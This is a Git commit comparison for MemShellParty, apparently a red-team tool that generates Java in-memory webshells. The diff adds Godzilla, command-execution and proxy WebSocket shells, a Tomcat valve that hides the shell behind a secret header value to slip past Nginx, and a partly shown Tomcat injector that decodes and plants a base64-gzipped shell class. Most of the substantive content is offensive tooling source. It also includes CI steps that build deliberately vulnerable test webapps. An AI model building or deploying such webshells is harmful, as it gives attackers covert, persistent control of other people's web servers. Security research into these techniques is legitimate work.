Compare commits

...
35 Commits
Author SHA1 Message Date
ReaJason f60d4108ad chore: 2.5.0 2026-01-19 00:28:52 +08:00
ReaJason fe5760409a test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason 40632a7308 build: image not found 2026-01-18 23:52:39 +08:00
ReaJason b49bb89025 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 336d0b1f5a test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 5ec48e7d41 docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason 8ba200089a test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason e38a91f720 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 60edda0cec refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason c5bfd3d92e test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 159f501179 fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason ff6d1b6f9e fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason 8402bd9d51 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 7c126d8189 refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason 03c138206a test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 8b1cf078f3 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 3e4c5e5b38 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason b49ad1581f refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason bf50918a99 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason be051d3147 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason f780886f08 docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason b46959e059 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 3e2d977562 feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason b45efd8e1e refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason ee9288debd refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason 1518432fde feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 302e8fbb8f refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 4955c9d4a2 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason cf492e68ea refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason 39eab10281 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason ba9c0be2a4 feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 23f310ca8a feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 9d9d33f612 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason da1a5f70ef ci: update ci 2026-01-13 20:34:36 +08:00
ReaJason 69e8e20a6a ci: add test workflow 2026-01-13 20:29:05 +08:00
303 changed files with 7264 additions and 10544 deletions
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+3 -3
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.15_6-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+4 -4
View File
@@ -25,10 +25,10 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
<p align="center"> <p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%"> <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%"> <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%"> <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%"> <img src="assets/about_page.png" alt="about_page" width="24%">
</p> </p>
## 主要特性 ## 主要特性

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Before

Width:  |  Height:  |  Size: 236 KiB

After

Width:  |  Height:  |  Size: 236 KiB

Before

Width:  |  Height:  |  Size: 268 KiB

After

Width:  |  Height:  |  Size: 268 KiB

+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate()) .template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.build(); .build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity; package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder; import lombok.Builder;
import lombok.Data;
/** /**
* @author ReaJason * @author ReaJason
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
* @author ReaJason * @author ReaJason
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral() publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.4.2" version = "2.5.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
+2 -2
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project). 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png) ![normal_generator](../assets/normal_generator.png)
![agent_generator](../asserts/agent_generator.png) ![agent_generator](../assets/agent_generator.png)
## Key Features ## Key Features
+2
View File
@@ -32,7 +32,9 @@ dependencies {
api(libs.byte.buddy) api(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
@@ -5,6 +5,7 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod; import com.reajason.javaweb.probe.ProbeMethod;
@@ -63,6 +64,11 @@ public class MemShellGenerator {
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes); injectorConfig.setShellClassBytes(shellBytes);
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
}
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*; import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
@@ -60,6 +61,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -137,6 +140,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class) .addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -235,6 +240,13 @@ public class ServerFactory {
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class) .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build());
} }
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) { public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
@@ -12,5 +12,6 @@ public class ShellTool {
public static final String Suo5v2 = "Suo5v2"; public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword"; public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg"; public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
public static final String Custom = "Custom"; public static final String Custom = "Custom";
} }
@@ -27,6 +27,7 @@ public class ShellToolFactory {
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
} }
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) { public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -45,7 +45,9 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action"; public static final String ACTION = "Action";
} }
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/** /**
* 加密器 * 加密器
*/ */
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
} }
return self(); return self();
} }
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
} }
@@ -16,37 +16,38 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor @AllArgsConstructor
@Builder(toBuilder = true) @Builder(toBuilder = true)
public class InjectorConfig { public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/** /**
* 注入器模板类 * 注入器模板类
*/ */
private Class<?> injectorClass; private Class<?> injectorClass;
/** /**
* 注入器类名 * 注入器类名
*/ */
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@Builder.Default @Builder.Default
private String urlPattern = "/*"; private String urlPattern = "/*";
/** /**
* 内存马类名 * 内存马类名
*/ */
private String shellClassName; private String shellClassName;
/** /**
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/** /**
* 添加静态代码块调用构造方法初始化 * 添加静态代码块调用构造方法初始化
*/ */
@@ -0,0 +1,38 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -73,12 +73,18 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean lambdaSuffix = false; private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
public boolean isJakarta() { public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA); return jakarta || shellType.startsWith(ShellType.JAKARTA);
} }
public boolean needByPassJavaModule() { public boolean needByPassJavaModule() {
@@ -49,6 +49,12 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) { if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder); builder = ByPassJavaModuleInterceptor.extend(builder);
} }
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -121,10 +121,10 @@ public class JettyFilterInjector {
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
Object[] newMappings = null; Object[] newMappings = null;
int length = Array.getLength(mappings); if (mappings == null || Array.getLength(mappings) == 0) {
if (mappings == null || length == 0) {
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1); newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} else { } else {
int length = Array.getLength(mappings);
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1); newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
System.arraycopy(mappings, 0, newMappings, 1, length); System.arraycopy(mappings, 0, newMappings, 1, length);
} }
@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -6,7 +6,10 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -0,0 +1,286 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class TomcatWebSocketByPassInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public TomcatWebSocketByPassInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
